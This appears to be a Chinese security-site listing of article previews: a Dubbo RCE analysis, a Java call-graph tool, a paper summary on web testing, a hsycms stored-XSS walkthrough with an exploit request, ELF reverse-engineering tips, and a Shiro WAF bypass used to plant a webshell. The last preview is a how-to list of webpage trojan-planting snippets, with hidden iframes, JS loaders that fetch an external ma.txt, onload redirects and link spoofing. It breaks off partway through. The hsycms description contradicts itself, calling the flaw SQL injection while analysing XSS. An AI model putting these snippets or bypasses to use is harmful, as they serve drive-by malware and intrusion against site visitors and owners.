【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179) 安全文章

【漏洞分析】Dubbo Pre-auth RCE(CVE-2021-30179)

上方蓝色字体关注我们,一起学安全!作者:[email protected] Sec本文字数:3220阅读时长:8~10min声明:仅供学习参考使用,请勿用作违法用途,否则后果自负0x01 漏洞复现《CVE-2021-30179:Apache Dubbo RCE复现》0x02 调试准备暂无0x03 漏洞分析Dubbo使用DecodeHandler#received方法来接收来自socket的连接,当接收到请求时会先调用DecodeHandler#decode方法处理请求,其将调用DecodeableRpcInvocation.java#decode方法处理数据在138行通过方法名和desc获取服务端中的方法描述,如果为空则判断是否为泛类引用判断方法名是否为$invoke或者$invokeAsync,desc是否为Ljava/lang/String;
阅读全文
Java方法完整调用链生成工具 代码审计

Java方法完整调用链生成工具

1. 前言在很多场景下,如果能够生成Java代码中方法之间的调用链,是很有帮助的,在代码审计及漏洞分析等场景中也是。IDEA提供了显示调用指定Java方法向上的完整调用链的功能,可以通过“Navigate -> Call Hierarchy”菜单(快捷键:Ctrl+Alt+H)使用;Eclipse也提供了相同的功能。但以上都需要针对每个方法进行手工处理,拷贝出来的文本无法展示调用层级,且不支持生成指定Java方法向下的完整调用链。以下实现了一个工具,能够批量生成指定Java方法向下的完整调用链,对于关注的Java方法,能够生成其向下调用的方法信息,及被调用方法再向下调用的方法,直到最下层被调用的方法。也可以生成调用指定Java类向上的完整调用链,对于关注的Java类的方法,能够生成调用对应方法的方法信息,及调用上述方法的信息,直到最上层未被其他方法调用的方法(通常是对外提供的服务,或定时任务等)。2. 输出结果示例2.1. 调用指定类向上的完整调用链示例调用指定类向上的完整调用链输出结果格式类似一棵树,每行代表一个Java方法,与实际的代码执行顺序无关,前面的数字越大代表调用层级越靠上,0代表指定类中的方法。对于不被其他方法调用的方法,认为是入口方法,在对应行的最后会显示“!entry!”。当存在上述调用关系时,生成的调用指定类向上的完整调用链如下所示:#DestClass.destfunc()# ClassA3.funcA3()# ClassA2.funcA2()# ClassA1.funcA1() !entry!# ClassB1.funcB1() !entry!# ClassC2.funcC2()# ClassC1.funcC1() !entry!以下为使用该工具生成的调用Mybatis的SqlSessionUtils类的部分方法向上完整调用链(方法参数太长,已省略):2.2. 指定方法向下完整调用链示例指定方法向下完整调用链输出结果类似一棵树,每行代表一个Java方法,与实际的代码执行顺序一致,前面的数字越大代表调用层级越靠下,0代表指定方法。当存在上述调用关系时,生成的指定方法向下完整调用链如下所示:#DestClass.destfunc()# ClassA1.funcA1()# ClassA2a.funcA2a()# ClassA2b.funcA2b()# ClassA3.funcA3()# ClassB1.funcB1()# ClassC1.funcC1()# ClassC2.funcC2()以下为使用该工具生成的Mybatis的SqlSessionFactoryBean:scanClasses()方法向下的完整调用链:除此之外,当方法指定了注解时,也可以显示在结果中;当出现方法循环调用时,会显示出现循环调用的方法。3. 适用场景3.1. 分析代码执行流程使用该工具生成指定方法向下调用链的功能,可以将代码中复杂的方法调用转换为相对简单的方法调用链形式展示。人工查看生成的调用链时,能够通过类名及方法名识别出对应含义。支持将不关注的方法调用忽略,仅展示重要的方法调用。对于分析代码执行流程有一定帮助,适合进行代码审计时梳理交易流程、查找敏感API调用等场景。3.2. 确认被修改代码的影响范围使用该工具生成指定方法向上调用链的功能,可以生成调用指定类的所有方法的调用链。能识别入口方法,减少人工逐层确认入口方法的工作量。可用于快速确认被修改代码的影响范围。3.3. 应用功能拆分在进行应用功能拆分时,需要准确定位指定功能涉及的数据库表,及使用了对应数据库表的相关入口方法。使用该工具生成指定方法向下调用链的功能,生成指定入口方法向下的调用链,能够根据类的包名快速找到Mapper接口(使用Mybatis的场景),即可找到相关的数据库表。使用该工具生成指定方法向上调用链的功能,生成调用指定Mapper接口向上的调用链,能够根据“!entry!”找到入口方法。重复执行以上过程,直到没有再找到新的Mapper接口(即数据库表)和入口方法,即可确认指定功能涉及的数据库表及相关入口方法。4. 使用说明4.1. 依赖环境该工具将Java方法调用关系写入文件之后,会将数据保存在数据库中,需要访问MySQL数据库(理论上支持其他数据库,但需要对SQL语句进行调整)。所使用的数据库用户需要有DML读写权限,及DDL权限(需要执行CREATE TABLE、TRUNCATE TABLE操作)。4.2. 引入组件在使用该工具前,首先需要在对应的项目引入该工具组件的依赖,将其引入到test模块或使用provided类型,可以避免发布到服务器中。GradletestImplementation 'com.github.adrninistrator:java-all-call-graph:0.0.8'Maven<dependency> <groupId>com.github.adrninistrator</groupId> <artifactId>java-all-call-graph</artifactId> <version>0.0.8</version> <type>provided</type></dependency>最新版本号可查看https://search.maven.org/artifact/com.github.adrninistrator/java-all-call-graph对应代码地址为https://github.com/Adrninistrator/java-all-call-graph建议在需要生成方法调用链的项目中分别引入依赖,可以使每个项目使用单独的配置,不会相互影响。该工具仅引入了log4j-over-slf4j组件,在引入该工具组件的项目中,还需要引入log4j2、logback等日志组件,且保证配置正确,能够在本地正常运行。4.3. 执行步骤4.3.1. 总体步骤该工具的总体使用步骤如下:a. 将后续步骤使用的几个启动类对应的Java文件,及配置文件解压到当前Java项目的test模块的对应目录中,该步骤只需要执行一次;b. 调用增强后的java-callgraph.jar(详细内容见后续“原理说明”部分),解析指定jar包中的class文件,将Java方法调用关系写入文件;从该文件读取Java方法调用关系,再写入MySQL数据库;c.1 需要生成调用指定类的向上完整方法调用链时,从数据库读取方法调用关系,再将完整的方法调用链写入文件;c.2 需要生成指定方法的向下完整方法调用链时,从数据库读取方法调用关系,再将完整的方法调用链写入文件;如下图所示:4.3.2. 释放启动类及配置文件当前步骤在每个Java项目只需要执行一次。执行当前步骤时,需要执行main()方法的类名如下:com.adrninistrator.jacg.unzip.UnzipFile需要选择classpath对应模块为test。执行以上类后,会将java-all-callgraph.jar中保存配置文件的~jacg_config、~jacg_sql目录,保存启动类的“test/jacg”目录,分别释放到当前Java项目的test模块的resources、java目录中(仅在本地生效,避免发布到服务器中)。若当前Java项目存在“src/test”或“src/unit.test”目录,则将配置文件与Java文件分别释放在该目录的resources、java目录中;若当前Java项目不存在以上目录,则将上述文件释放在“~jacg-”目录中,之后需要手工处理,将对应目录拷贝至test模块对应目录中。4.3.3. Java方法调用关系入库在生成Java方法调用关系并写入数据库之前,需要确保需要分析的jar包或war包已存在,对于通过源码使用构建工具生成的jar/war包,或者Maven仓库中的jar包(需要是包含.class文件的jar包),均可支持。当需要解析的jar/war包中的class文件内容发生变化时,需要重新执行当前步骤,以重新获取对应jar/war包中的Java方法调用关系,写入文件及数据库;若需要解析的jar/war包文件未发生变化,则不需要重新执行当前步骤。执行当前步骤时,需要执行main()方法的类名如下:test.jacg.TestRunnerWriteDb需要选择classpath对应模块为test。当前步骤执行的操作及使用的相关参数如下图所示:b.1 调用增强后的java-callgraph.jar中的类的方法TestRunnerWriteDb类读取配置文件config.properties中的参数:call.graph.jar.list:等待解析的jar包路径列表,各jar包路径之间使用空格分隔(若路径中包含空格,则需要使用””包含对应的路径)将第1个jar包路径后面加上“.txt”作为本次保存Java方法调用关系文件路径;设置JVM参数“output.file”值为本次保存Java方法调用关系文件的路径,调用增强后的java-callgraph.jar中的类的方法,通过方法的参数传递上述jar包路径列表;b.2 解析指定jar包增强后的java-callgraph.jar中的类的方法开始解析指定的jar包;b.3 将Java方法调用关系写入文件增强后的java-callgraph.jar中的类的方法将解析出的Java方法调用关系写入指定的文件中;b.4 读取Java方法调用关系文件TestRunnerWriteDb类读取保存Java方法调用关系的文件,文件路径即第1个jar包路径加“.txt”;b.5 将Java方法调用关系写入数据库TestRunnerWriteDb类读取配置文件i_allowed_class_prefix.properties,该文件中指定了需要处理的类名前缀,可指定包名,或包名+类名,示例如下:com.testcom.test.Test1读取配置文件config.properties中的参数:app.name:当前应用名称,对应数据库表名后缀,该参数值中的分隔符不能使用-,需要使用_thread.num:写入数据库时并发处理的线程数量,也是数据源连接池数量db.driver.name:数据库驱动类名db.url:数据库URL,使用MySQL时,url需要指定rewriteBatchedStatements=true,开启批量插入,提高效率db.username:数据库用户名db.password:数据库密码input.ignore.other.package:忽略其他包的开关,值为true/false;当开关为开时,仅将i_allowed_class_prefix.properties中指定的类名前缀相符的类调用关系写入数据库;当开关为关时,所有的类调用关系都写入数据库向数据库写入数据库前,会判断对应数据库表是否存在,若不存在则创建,之后会执行“TRUNCATE TABLE”操作清空表中的数据;根据配置文件config.properties中的input.ignore.other.package参数值及配置文件i_allowed_class_prefix.properties,将Java方法调用关系逐条写入数据库中;增强后的java-callgraph.jar除了会将Java方法调用关系写入文件外,还会将各个方法上的注解信息写入文件(文件名为保存方法调用关系的文件名加上“-annotation.txt”);TestRunnerWriteDb类也会读取对应文件,将各方法上的注解信息写入数据库中。4.3.4. 生成调用指定类向上的完整调用链执行当前步骤之前,需要确认Java方法调用关系已成功写入数据库中。执行当前步骤时,需要执行main()方法的类名如下:test.jacg.TestRunnerGenAllGraph4Callee需要选择classpath对应模块为test。当前步骤执行的操作及使用的相关参数如下图所示:c.1.1 从数据库读取Java方法调用关系TestRunnerGenAllGraph4Callee类读取配置文件o_g4callee_class_name.properties,该文件中指定了需要生成向上完整调用链的类名;若存在同名类,则类名需要指定完整类名;若不存在同名类,则类名需要指定简单类名;示例如下:Test1com.test.Test1读取配置文件config.properties中的参数:thread.num:从数据库并发读取数据的线程数量,也是数据源连接池数量;若o_g4callee_class_name.properties配置文件中的记录数比该值小,则会使用记录数覆盖该参数值以下参数说明略:app.name、db.driver.name、db.url、db.username、db.passwordc.1.2 将方法完整调用链(向上)写入文件对于配置文件o_g4callee_class_name.properties中指定的类,对每个类生成一个对应的文件,文件名为“.txt”,在某个类对应的文件中,会为对应类的每个方法生成向上完整调用链;以上文件名示例为“TestClass1.txt”;每次执行时会生成一个新的目录,用于保存输出文件,目录名格式为“~jacg_output_for_callee/”;读取配置文件config.properties中的参数:call.graph.output.detail:输出文件中调用关系的详细程度,1: 最详细,包含完整类名+方法名+方法参数,2: 中等,包含完整类名+方法名,3: 最简单,包含简单类名(对于同名类展示完整类名)+方法名,示例如下call.graph.output.detail参数值显示示例1com.test.Test1.func1(java.lang.String)2com.test.Test1.func13Test1.func1show.method.annotation:调用链中是否显示方法上的注解开关,值为true/false;当开关为开时,会显示当前方法上的全部注解的完整类名,格式为“@注解[email protected]注解2…”gen.combined.output:是否生成调用链的合并文件开关,值为true/false;当开关为开时,在为各个类生成了对应的调用链文件后,会生成一个将全部文件合并的文件,文件名为“~all-4callee.txt”gen.upwards.methods.file:生成向上的调用链时,是否需要为每个方法生成单独的文件开关,值为true/false;当开关为开时,会为o_g4callee_class_name.properties中指定的每个类的每个方法单独生成一个文件,保存在“~jacg_output_for_callee//methods”4.3.5. 生成指定方法向下完整调用链执行当前步骤之前,需要确认Java方法调用关系已成功写入数据库中。4.3.5.1. 生成所有的调用链执行当前步骤时,需要执行main()方法的类名如下:test.jacg.TestRunnerGenAllGraph4Caller需要选择classpath对应模块为test。当前步骤执行的操作及使用的相关参数如下图所示:c.2.1 从数据库读取Java方法调用关系TestRunnerGenAllGraph4Caller类读取配置文件o_g4caller_entry_method.properties,该文件中指定了需要生成向下完整调用链的类名与方法名前缀,格式为:,或:+参数;若存在同名类,则类名需要指定完整类名;若不存在同名类,则类名需要指定简单类名;示例如下:Test1:func1Test1:func1(Test1:func1(java.lang.String)com.test.Test1:func1com.test.Test1:func1(com.test.Test1:func1(java.lang.String)若o_g4caller_entry_method.properties配置文件中指定的方法前缀对应多个方法,则可在o_g4caller_entry_method_ignore_prefix.properties配置文件中指定需要忽略的方法前缀;o_g4caller_entry_method_ignore_prefix.properties配置文件的格式为方法名,或方法名+参数,示例如下:func1func1(func1(java.lang.String)例如指定生成Class1.test方法的向下完整调用链,存在方法Class1.test1,则可指定忽略test1方法;指定生成Class1.test方法的向下完整调用链,所关注的test方法为test(java.lang.String),存在不关注的方法test(java.lang.Integer),则可指定忽略test(java.lang.Integer)方法;读取配置文件config.properties中的参数:thread.num:从数据库并发读取数据的线程数量,也是数据源连接池数量;若o_g4caller_entry_method.properties配置文件中的记录数比该值小,则会使用记录数覆盖该参数值以下参数说明略:app.name、db.driver.name、db.url、db.username、db.passwordc.2.2 将方法完整调用链(向下)写入文件对于配置文件o_g4caller_entry_method.properties中指定的方法,对每个方法生成一个对应的文件,文件名为“@@.txt”;以上文件名示例为“[email protected]@qDb0chxHzmPj1F26S7kzhw#048.txt”;每次执行时会生成一个新的目录,用于保存输出文件,目录名格式为“~jacg_output_for_caller/”;读取配置文件config.properties中的参数:gen.combined.output:是否生成调用链的合并文件开关,值为true/false;当开关为开时,在为各个类生成了对应的调用链文件后,会生成一个将全部文件合并的文件,文件名为“~all-4caller.txt”以下参数说明略:call.graph.output.detail、show.method.annotation。4.3.5.2. 忽略特定的调用关系以上生成指定方法向下的完整调用链中,包含了所有的方法调用链,可用于查找指定方法直接调用及间接调用的方法,例如通过调用的Mybatis的Mapper接口确认该方法相关的数据库表操作;当生成指定方法向下的完整调用链是为了人工分析代码结构时,若包含了所有的方法调用链,则会有很多不重要的代码产生干扰,例如对dto、entity等对象的读取及赋值操作、通信数据序列化/反序列化操作(JSON等格式)、日期操作、流水号生成、请求字段格式检查、注解/枚举/常量/异常/日期相关类操作、Java对象默认方法调用等;调用以下类,支持将不关注的方法调用关系忽略:test.jacg.TestRunnerGenAllGraph4CallerSupportIgnore在配置文件o_g4caller_ignore_class_keyword.properties中可以指定需要忽略的类名关键字,可为包名中的关键字,或类名中的关键字,示例如下:.dto..entity.EnumConstant在配置文件o_g4caller_ignore_full_method_prefix.properties中可以指定需要忽略的完整方法前缀,可指定包名,或包名+类名,或包名+类名+方法名,或包名+类名+方法名+参数,示例如下:com.testcom.test.Test1com.test.Test1:func1com.test.Test1:func1(com.test.Test1:func1(java.lang.String)在配置文件o_g4caller_ignore_method_prefix.properties中可以指定需要忽略的方法名前缀,如Java对象中的默认方法“toString()、hashCode()、equals(java.lang.Object)、(、(”等,示例如下:func1func1( func1()func1(java.lang.String)5. 原理说明5.1. Java方法调用关系获取在获取Java方法调用关系时,使用了 https://github.com/gousiosg/java-callgraph项目,并对其进行了增强,java-callgraph使用Apache Commons BCEL(Byte Code Engineering Library)解析Java方法调用关系,Matthieu Vergne(https://www.matthieu-vergne.fr/)为该项目增加了解析动态调用的能力(lambda表达式等)。原始java-callgraph在多数场景下能够获取到Java方法调用关系,但以下场景的调用关系会缺失:接口与实现类方法假如存在接口Interface1,及其实现类Impl1,若在某个类Class1中引入了接口Interface1,实际为实现类Impl1的实例(使用Spring时的常见场景),在其方法Class1.func1()中调用了Interface1.fi()方法;原始java-callgraph生成的方法调用关系中,只包含Class1.func1()调用Interface1.fi()的关系,Class1.func1()调用Impl1.fi(),及Impl1.fi()向下调用的关系会缺失。Runnable实现类线程调用假如f1()方法中使用内部匿名类形式的Runnable实现类在线程中执行操作,在线程中执行了f2()方法,如下所示:private void f1() { new Thread(new Runnable() { @Override public void run() { f2(); } }).start();}原始java-callgraph生成的方法调用关系中,f1()调用f2(),及f2()向下调用的关系会缺失;对于使用命名类形式的Runnable实现类在线程中执行操作的情况,存在相同的问题,原方法调用线程中执行的方法,及继续向下的调用关系会缺失。Thread子类线程调用与Runnable实现类线程调用情况类似,略。lambda表达式(含线程调用等)假如f1()方法中使用lambda表达式的形式在线程中执行操作,在线程中执行了f2()方法,如下所示:private void f1() { new Thread(() -> f2()).start();}原始java-callgraph生成的方法调用关系中,f1()调用f2(),及f2()向下调用的关系会缺失;对于其他使用lambda表达式的情况,存在相同的问题,原方法调用lambda表达式中执行的方法,及继续向下的调用关系会缺失。父类调用子类的实现方法假如存在抽象父类Abstract1,及其非抽象子类ChildImpl1,若在某个类Class1中引入了抽象父类Abstract1,实际为子类ChildImpl1的实例(使用Spring时的常见场景),在其方法Class1.func1()中调用了Abstract1.fa()方法;原始java-callgraph生成的方法调用关系中,只包含Class1.func1()调用Abstract1.fa()的关系,Class1.func1()调用ChildImpl1.fa()的关系会缺失。子类调用父类的实现方法假如存在抽象父类Abstract1,及其非抽象子类ChildImpl1,若在ChildImpl1.fc1()方法中调用了父类Abstract1实现的方法fi();原始java-callgraph生成的方法调用关系中,ChildImpl1.fc1()调用Abstract1.fi()的关系会缺失。针对以上问题,增强后的java-callgraph都进行了优化,能够生成缺失的调用关系。增强后的java-callgraph地址为https://github.com/Adrninistrator/java-callgraph对于更复杂的情况,例如存在接口Interface1,及其抽象实现类Abstract1,及其子类ChildImpl1,若在某个类中引入了抽象实现类Abstract1并调用其方法的情况,生成的方法调用关系中也不会出现缺失。5.2. Java方法完整调用链生成在获取了Java方法调用关系之后,将其保存在数据库中,涉及到3个数据库表,可查看java-all-callgraph.jar释放的~jacg_sql目录中的.sql文件,相关数据库表如下所示:表名前缀注释作用class_name_类名信息表保存相关类的完整类名及简单类名method_annotation_方法注解表保存方法及方法上的注解信息method_call_方法调用关系表保存各方法之间调用信息上述数据库表在创建时使用表名前缀加上配置文件config.properties中的app.name参数值。该工具会主要从方法调用关系表中逐级查询数据,生成完整的方法调用链。6. 其他功能6.1. 处理循环方法调用在生成向上或向下的Java方法完整调用链时,若出现了循环方法调用,该工具会从循环调用中跳出,并在生成的方法调用链中对出现循环调用的方法增加标记“!cycle!”,其中n代表被循环调用的方法对应层级。生成向上的Java方法完整调用链时,出现循环方法调用的示例如下:#org.springframework.transaction.TransactionDefinition:getIsolationLevel# org.springframework.transaction.support.DelegatingTransactionDefinition:getIsolationLevel# org.springframework.transaction.TransactionDefinition:getIsolationLevel...
阅读全文
使用基于注意力的强化学习方法进行WEB应用测试 安全闲碎

使用基于注意力的强化学习方法进行WEB应用测试

原文作者:Yan Zheng, Yi Liu, Xiaofei Xie, Yepang Liu, Lei Ma, Jianye Hao, and Yang Liu原文标题:Automatic Web Testing Using Curiosity-Driven Reinforcement Learning原文链接:https://arxiv.org/pdf/2103.06018.pdf笔记作者:[email protected]简介该文为发表于ICSE 2021的Automatic Web Testing Using Curiosity-Driven Reinforcement Learning。其研究主要在于端到端对web应用程序进行自适应地测试。针对Web应用的测试一直被认为是一项困难的任务。即使在今天,web测试仍然严重依赖于人工操作,而自动化web测试远未达到人工的水平。在篇论文中,作者使用好奇心驱动的强化学习方法以生成满足时序逻辑关系的高质量测试用例,并测试过程中逐步构建了一个自动机,以提高测试效率。方法作者为他提出的web应用测试框架命名为WebExplor,其目的是自动化生成不同的操作序列,让测试覆盖到web应用的更多行为。为了实现这一目标,WebExplor主要采用好奇心驱动的强化学习(RL)来不断优化策略,并更够在线学习,不像传统的AI方案那样需要先训练好模型才能部署。如下图所示,WebExplor主要包括三大组件,分别是Web应用抽象化、基于强化学习的测试用例生成和有限自动机。状态提取首先,需要从Web程序中抽象出用于强化学习的状态集合,如果直接用网页来代表状态,那么由于现代web应用的动态特性,会得到一个巨大的状态集合,这在强化学习中是无法接受的。为了解决状态爆炸问题,WebExplor将相同业务逻辑的页面归结于同一个状态。举例来讲,如果一个页面中用表格来展示用户的购物车信息,尽管可以通过增添或减少商品来创建近乎无穷多个不同的页面,但是由于其业务逻辑相同,所以认为属于同一个状态。具体来讲,如果两个页面的URL相同且HTML内容相似,那么它们很可能属于同一业务逻辑。实际操作中,每遇到一个新页面,WebExplor会过滤部分页面内容,只保留可操作元素(按钮、输入框、选择器等),然后将该页面与之前以保存的所有状态进行匹配,如果URL不相同或页面元素相似度低于设定的阈值,则作为一个新的状态添加到状态集合中。好奇心驱动的强化学习之后,为了通过强化学习的方法训练一种生成不同测试用例的探索策略,需要定义一个有效的奖励函数来确定最优策略。在针对web应用的测试中,其目标为尽可能多地探索web应用程序的不同行为。由于目标模糊(相对与有明确奖励目标的任务,如电子游戏),WebExplor引入好奇心机制,这一机制是为了解决强化学习中中的粗略奖励问题而提出的。作者设计了一个好奇心驱动的奖励函数,它采用了一种通用的适应性机制来指导探索,从而可以达到不同的状态。基于好奇心机制的驱动,使用Q-Learning算法学习用例生成策略。有穷自动机宏观指导最后,对于一个较大的状态空间进行探索,强化学习可能会无法到达某一状态的问题。如下图所示,例如某办公系审核流程中,状态S0到状态Sm+1之间虽然每一步跳转的概率都是0.9,但是到达Sm+1的概率只有0.95。为了应对这一问题,WebExplor利用有穷自动机在宏观层面对web应用的探索过程进行指导。当探索一定次数仍未发现新的状态时,则使用有穷自动机找到一个好奇心度最高的目标状态,然后让强化学习的智能体直接过度到这一状态继续探索。实验在实验阶段,作者主要通过实验结果说明一下四个问题:WebExplor的代码覆盖率如何?WebExplor的故障探测率如何?有限自动机是否有效指导了针对web应用的探测过程?WebExplor在真实环境下效果如何?如下表所示,作者针对多个GIthub上多个流行项目(高于50 stars)进行测试,实验就过表明其代码覆盖率和故障探测率指标普遍优于其他无导航模型方法(Crawljax, Random)和基于导航模型的方法(DIG, SUBWEB),无论其导航模型时自动生成(APO)还是需要人工辅助(MPO)。此外,如下图所示,使用有穷自动机对WebExplor的探测过程进行宏观指导时,可以更早得获得更高的指标,以提高探测效率,并且最终结果也普遍由于不使用有穷自动机的WebExplor。安全学术圈招募队友-ing, 有兴趣加入学术圈的请联系secdr#qq.com 本文始发于微信公众号(安全学术圈):使用基于注意力的强化学习方法进行WEB应用测试
阅读全文
【漏洞分析】hsycms 存储型XSS漏洞分析 安全文章

【漏洞分析】hsycms 存储型XSS漏洞分析

一、漏洞描述:在prevNext()函数中,直接将接收到的传参,没有经过任何的过滤,直接作为where条件带入执行,从而造成SQL注入漏洞。二、漏洞分析过程:定位到漏洞代码:/app/index/controller/Show.php中的sendmail()方法:这里用input()方法接收post数据,然后直接调用insert()方法将数据插入到book表,中间没有任何过滤:book表的字段如下:因为程序是基于thinkphp二开的,所以访问到此方法根据tp的路由:/index/show/sendemail,然后POST根据表的字段传入对应数据即可然后分析一下输出过程:/app/hsycms/controller/Site.php中的book()方法这里直接查询book表的数据,然后assign()将查到的数据$list直接赋值给模板根据tp的模板定义规则,定位到模板文件:/admin/view/site/book.html然后会输出以下这些字段,所以只需要将XSS payload插入这些字段中即可触发三、漏洞利用:构造如下数据包即可:POST /index/show/sendemail HTTP/1.1Host: www.hsycms.testUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Cookie: PHPSESSID=j44mhqsbphnavuvr54vpj2poj1;user=1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 81title=test&name=test&company=test&phone=111&content=提示留言成功:看一下数据库中的内容:当管理员后台查看留言的时候就会触发:成功触发XSS:点个赞和在看吧,欢迎转发!点个赞和在看吧,欢迎转发!点个赞和在看吧,欢迎转发! 本文始发于微信公众号(哈拉少安全小队):【漏洞分析】hsycms 存储型XSS漏洞分析
阅读全文
分析静态编译加剥离的ELF文件的一些方法 逆向工程

分析静态编译加剥离的ELF文件的一些方法

概述随着IOT安全越来越受到关注,我也会分析一些ELF文件,但是我们在分析ELF文件的时候最怕遇到静态编译和剥离外加没有编译器信息的样本了,我学习了一些网上的方法,在这里总结以下,供大家学习,也希望大家有什么其他的方法可以一起来分享。 静态分析MD52ec7bbc430da10d474713cdd00cbff72大小461 KB (472,140 字节)壳信息UPX(3.91)指令集架构Intel 80386由于有UPX(3.91)版本的壳,这里会发现使用官方的UPX –d 无法进行脱壳通过分析可以发现攻击者在样本后面添加了附加数据,只要将下面的阴影部分数据去除则可以使用UPX –d 进行脱壳了我通常分析linux样本,首先会file一下 ,可以看到这个样本是静态编译,并且被剥离了编译和调试信息       在用readelf文件进行去看看,发现并没有.comment这个段,这个段通常是用来保存编译器信息的一般linux的样本最不愿意分析的就是静态编译加剥离的了,可以先放到IDA中先看看里面自带的sig信号文件是否可以识别,你会发现里面都没有识别出来…..         这个时候还不能放弃,搬上另一个神器lscan,这款工具主要是用来识别样本中使用的库文件的版本,并却里面自带了sig信号文件,我们用这个工具试一下。      使用这个工具可以发现在lscan库中的文件识别率都很低,这样即使吧sig文件放入也不会识别出来的。这个时候我们只能求助于strings这个工具了,这个文件中字符串可能是发现点蛛丝马迹。可以看到里面有一些ssh的自定义函数函数,依据我的经验来看,里面应该用到了ssh2的一些库函数。这里我们可以分别使用三种方法就库函数进行识别,看看识别的怎么样。(1)第一种方法是idb2pat.py+sigmake生成符号文件idb2pat.py 是fireeye出的一个自动生成pat文件的一款脚本。sigmake是IDA中自带的将pat文件生成sig文件程序,首先我们从Ubuntu中取出ssh的库文件,这个我选择的libssh2.so.1.0.1这个动态库。首先生成sig文件这个文件这个时候会发现会有两个冲突。这个时候生成的不是sig文件而是这两个文件,这个时候你要是想快速生成sig文件,你就吧后缀为exc文件的前四行注释删除在运行一遍就行了,这个时候将生成sig文件拷贝到IDA安装目录下的sig中就可以了。这个时候用IDA打开被静态编译剥离的文件,并打开这个sig文件。下面是识别结果,结果是一个也没有识别出来。。。。(2)对比法,使用diaphora这两个文件二进制数据进行对比首先生成这个文件的数据库文件然后在打开要比较的静态编译和剥离的文件,进行下对比下面看下对比结果这里主要要关注Best matches 和Partial matches 这两个对话框,首先看一下Best matches这个里面可以看到Ratio是1也就是100%完全匹配的我们选中一个函数然后选择Diff pseudo-code        可以看到里面的反汇编比较,可以看到里面匹配成功的都是一些代码很少的函数,以我的经验来看这样一般是不可取        我们在来看看Partial matches这个对话框,可以看到Ratio最高才0.710,我觉的凡是低于0.8都到认真查看以下反汇编的对比,在对函数名进行导入(3)使用Rizzo这个插件进行生成首先把库文件生成对应的数据库文件生成完之后在将静态编译的文件在导入这个数据库,这个时候你可以看到确实识别了一些库函数总结:    其实这三种方法都有一些可取之处,我在使用中为了识别更多的库函数,这三个方法也是都会尝试,比如在这个样本中还会在字符串中发现LUA的脚本引擎在里面这个时候使用diaphora进行对比也许会更好。大家有什么更好的方法,也请留个言 本文始发于微信公众号(零组攻防实验室):分析静态编译加剥离的ELF文件的一些方法
阅读全文
shiro反序列化绕WAF之未知HTTP请求方法 安全文章

shiro反序列化绕WAF之未知HTTP请求方法

 0x01 背景当下WAF对shiro的防护,确实比较严格。对rememberMe的长度进行限制,甚至解密payload检查反序列化class。本周我遇到一个场景,就是这种情况。使用之前的方法rememberMe=加密payload+==垃圾数据也失败了,这个方法之前有大佬分享过,我就不再赘述了。我最终使用未知HTTP请求方法解决战斗。 0x02 过程当时我的思考是shiro的payload在header上,如何修改request header可以导致waf解析不出来,但是后端中间件正常解析呢?第一步,先构造出先绕WAF,哪怕改成不合法的数据包。第二步,在绕WAF的数据包基础上修正,让后端中间件可以解析。我把被拦截的包发送的repeater模块,尝试切换http版本,添加垃圾header头等等方法均没绕过。在修改GET方法为XXX这样的未知HTTP请求方法时,发现WAF不在拦截,但是后端报错了。接下来验证下后端是否真正处理了rememberMe。我先请求去掉rememberMe,response对应的rememberMe消失了然后再加上rememberMe,repseone的remeberMe又回来了。这说明后端正常处理rememberMe,这么绕WAF没问题!最后将之前注入内存webshell的payload修改下请求方法,成功拿下Web权限。 0x03 原理方法简单粗暴,不难推断WAF是通过正常的http方法识别HTTP数据包的。但是为何后端中间件依然能拿到rememberMe的结果呢?于是我在本地代码org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity处下了断点。通过XXX方法发送数据包,调试发现request.getCookies可以获取到rememberMe值,而且如下方法均可正常使用。说明未知HTTP请求方法不影响各类参数的读取。那对三大组件的调用是否有影响呢?继续翻阅Tomcat源码,我发现Listener被调用是受行为事件影响,Filter是受请求路径影响,而Servlet是受请求路径和HTTP请求方法影响。一旦遇到未知方法,Servlet不再进入业务代码,直接返回一个http.method_not_implemented报错。具体代码如下:所以得到一个结论就是 未知Http方法名绕WAF这个姿势,可以使用在Filter和Listener层出现的漏洞,同时WAF不解析的情况。 本文始发于微信公众号(回忆飘如雪):shiro反序列化绕WAF之未知HTTP请求方法
阅读全文
网页挂马的方法 安全文章

网页挂马的方法

一:框架挂马<iframe src=地址 width=0 height=0></iframe>二:js文件挂马首先将以下代码document.write("<iframe width='0' height='0' src='地址'></iframe>");保存为xxx.js,则JS挂马代码为<** language=java** src=xxx.js></**>三:js变形加密<** language="J**.Encode" src=http://www.shiyanbar.com.cn/ma.txt></**>ma.txt可改成任意后缀四:body挂马<body onload="window.location='地址';"></body>五:隐蔽挂马top.document.body.innerHTML = top.document.body.innerHTML + 'rn<iframe src="http://www.shiyanbar.com.cn/ma.htm/"></iframe>';六:css中挂马body {background-image: none')}七:JAJA挂马<** language=java**>window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");</**>八:图片伪装<html><iframe src="网马地址" height=0 width=0></iframe><img src="图片地址"></center></html>九:伪装调用<frameset rows="444,0" cols="*"><frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0"><frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0"></frameset>十:高级欺骗<a href="http://www.shiyanbar.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_shiyanbar_com(); return true;"> 页面要显示的内容 </a><** Language="Java**">function www_shiyanbar_com (){var url="网马地址";open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");}</**>十一:判断系统代码<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><TITLE>404</TITLE><META http-equiv=Content-Type content="text/html; charset=windows-1252"><META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD><BODY><** language=java**>window.status="";if(navigator.userAgent.indexOf("Windows NT 5.1") != 